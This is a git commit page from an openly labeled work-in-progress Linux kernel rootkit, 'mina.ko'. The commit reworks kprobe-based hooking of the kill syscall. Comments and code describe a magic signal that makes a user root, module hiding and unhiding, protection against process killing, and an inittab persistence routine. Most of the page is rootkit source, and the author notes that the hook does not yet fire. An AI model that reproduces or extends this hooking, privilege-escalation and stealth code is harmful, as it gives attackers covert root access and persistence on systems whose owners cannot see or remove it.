mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit bb75e92798856e4f585a4a06c08da4ad368f9ca9
parent fdf9e6ad8570357f1460fe8e5155ef16e4e963a7
Author: djnn <[email protected]>
Date: Mon, 30 Dec 2024 18:56:30 +0900

feat(hook): alloc kprobes in heap to avoid crash for some reason, the hook doesnt trigger though. i might be doing something too complicated ? i really dont understand what i am doing wrong here...

Diffstat:
Arootkit/cmd.txt | 1+
Mrootkit/hooks/kill.c | 6+++++-
Mrootkit/includes/mina.h | 12+++++-------
Mrootkit/mina.c | 96+++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------------------

4 files changed, 81 insertions(+), 34 deletions(-)

diff --git a/rootkit/cmd.txt b/rootkit/cmd.txt
@@ -0,0 +1 @@
+sudo cp -r /mnt/shared/rootkit . && sudo chown -R djnn:djnn rootkit && cd rootkit ; make clean ; make && sudo make load
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -14,8 +14,10 @@ asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
 
     /* FIXME(djnn): it seems this hook is actually never called...? */
 
-    if (kill_original == NULL)
+    if (kill_original == NULL) {
+        printk(KERN_INFO "[mina] loading kill hook using linear search");
         kill_original = syscall_linear_search(HOOK_SYSCALL_NAME);
+    }
 
     int sig = regs->si;
 
@@ -24,6 +26,8 @@ asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
          * Sending a signal 6969(to any pid) makes the given user become root,
     */
 
+    printk(KERN_INFO "[mina] signal num: %d\n", sig);
+
     /* hide or unhide the module:) */
     if (sig == SIGNAL_TOGGLE_HIDE) {
         if (!is_hidden) {
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -13,12 +13,11 @@ void hide_module(void);
 void readd_module(void);
 
 typedef struct mina__hook {
-    /* https://www.kernel.org/doc/Documentation/kprobes.txt */
-    struct kprobe kpb;
-    int64_t hookaddr;
-
-    /* do we need anything else here ? */
+    void *hookaddr;
+    char hookname[HOOKNAME_MAX_SZ];
 
+    /* https://www.kernel.org/doc/Documentation/kprobes.txt */
+    struct kprobe *kpb;
 } hook_t;
 
 /* HOOKS definitions :) */
@@ -26,9 +25,8 @@ typedef struct mina__hook {
 asmlinkage int64_t hook_syskill(const struct pt_regs *);
 
 // hooks utils
-int nb_hooks(void);
 void *syscall_linear_search(const char *hk_name);
 int make_syscall(void *callme, const struct pt_regs *regs);
-int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r);
+int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r);
 
 #endif
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -18,13 +18,13 @@ MODULE_VERSION("0.0.1");
 
 hook_t SYS_HOOKS[] = {
     /* used to trigger actions, prevent from killing some process, hide current rootkit */
-    {.hookaddr = (int64_t)hook_syskill, .kpb = {.symbol_name = HOOK_SYSCALL_NAME}},
+    {.hookaddr = hook_syskill, .hookname = HOOK_SYSCALL_NAME, .kpb = NULL},
 
 };
 
-int nb_hooks(void) {
-    return (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]));
-}
+#define NB_HOOKS (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]))
+
+#define HOOKNAME_MAX_SZ 512
 
 static int __add_inittab_entry(char const *entry) {
     int ret = 0;
@@ -47,9 +47,12 @@ static int __add_inittab_entry(char const *entry) {
 }
 
 void *syscall_linear_search(const char *hk_name) {
-    for (int i = 0; i < nb_hooks(); i++) {
-        if (!strcmp(SYS_HOOKS[i].kpb.symbol_name, hk_name))
-            return SYS_HOOKS[i].kpb.addr;
+    for (int i = 0; i < NB_HOOKS; i++) {
+        if (SYS_HOOKS[i].kpb == NULL)
+            continue;
+
+        if (!strcmp(SYS_HOOKS[i].kpb->symbol_name, hk_name))
+            return SYS_HOOKS[i].kpb->addr;
     }
 
     /* NOTE(djnn): what to do if the hook is not found ? */
@@ -69,15 +72,22 @@ inline int make_syscall(void *callme, const struct pt_regs *regs) {
     return ret;
 }
 
-int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
+int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r) {
+
+    printk(KERN_INFO "[MINA] entering prehandler (ip=%#lx => within_module ? %d)\n", r->ip, !within_module(r->ip, THIS_MODULE));
+    if (within_module(r->ip, THIS_MODULE)) {
+        return 0;
+    }
+
+    for (int i = 0; i < NB_HOOKS; i++) {
+        if (SYS_HOOKS[i].kpb == NULL)
+            continue;
 
-    printk(KERN_INFO "[MINA] entering trampoline (kp=0x%p, ip=%#lx)\n", kp, r->ip);
-    for (int i = 0; i < nb_hooks(); i++) {
         /* if IP within current module, we are already in the hook */
-        if (kp == &SYS_HOOKS[i].kpb && !within_module(r->ip, THIS_MODULE)) {
-            printk(KERN_INFO "[MINA] hit hook for %s\n", SYS_HOOKS[i].kpb.symbol_name);
+        if (strcmp(kp->symbol_name, SYS_HOOKS[i].hookname) == 0) {
+            printk(KERN_INFO "[MINA] hit hook for %s => %#lx\n", SYS_HOOKS[i].kpb->symbol_name, (unsigned long)SYS_HOOKS[i].hookaddr);
             r->ip = (unsigned long)SYS_HOOKS[i].hookaddr;
-            return 0;
+            return 1;
         }
     }
     return 0;
@@ -85,28 +95,62 @@ int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
 
 static int __setup_hooks(void) {
     hook_t *iter = NULL;
-    for (int i = 0; i < nb_hooks(); i++) {
+    for (int i = 0; i < NB_HOOKS; i++) {
         iter = &SYS_HOOKS[i];
-        iter->kpb.pre_handler = __hook_tranpoline;
-
-        printk(KERN_INFO "[MINA] calling register_kprobe() for %s\n", iter->kpb.symbol_name);
-        if (register_kprobe(&iter->kpb) == 0) {
-            printk(KERN_INFO "[MINA] hooked %s (0x%p => %#llx)",
-                   iter->kpb.symbol_name,
-                   iter->kpb.addr,
-                   iter->hookaddr);
-        } else
-            return -1;
+
+        iter->kpb = kzalloc(sizeof(struct kprobe), GFP_KERNEL);
+        if (iter->kpb == NULL) {
+            printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobes");
+            goto bailout;
+        }
+
+        iter->kpb->symbol_name = kzalloc(HOOKNAME_MAX_SZ, GFP_KERNEL);
+        if (iter->kpb->symbol_name == NULL) {
+            printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobe symbol_name");
+            goto bailout;
+        }
+
+        strscpy(iter->kpb->symbol_name, iter->hookname, HOOKNAME_MAX_SZ);
+        if (iter->kpb->symbol_name == NULL) {
+            printk(KERN_WARNING "[mina] strncpy() failed while registering kprobes");
+            goto bailout;
+        }
+
+        printk(KERN_INFO "[mina %d] calling register_kprobe() for %s\n", i, iter->kpb->symbol_name);
+        int kp = register_kprobe(iter->kpb);
+        printk(KERN_INFO "[mina] result => %d", kp);
+
+        if (kp != 0) {
+            printk(KERN_WARNING "[mina] register_kprobe() failed");
+            continue;
+        }
     }
     return 0;
+
+bailout:
+    for (int i = 0; i < NB_HOOKS; i++) {
+        iter = &SYS_HOOKS[i];
+
+        if (iter->kpb == NULL)
+            continue;
+
+        unregister_kprobe(iter->kpb);
+        if (iter->kpb->symbol_name != NULL)
+            kfree(iter->kpb->symbol_name);
+
+        kfree(iter->kpb);
+    }
+
+    return -1;
 }
 
 static void __remove_hooks(void) {
     hook_t *iter = NULL;
 
-    for (int i = 0; i < nb_hooks(); i++) {
+    for (int i = 0; i < NB_HOOKS; i++) {
         iter = &SYS_HOOKS[i];
-        unregister_kprobe(&iter->kpb);
+        unregister_kprobe(iter->kpb);
+        kfree(iter->kpb);
     }
 }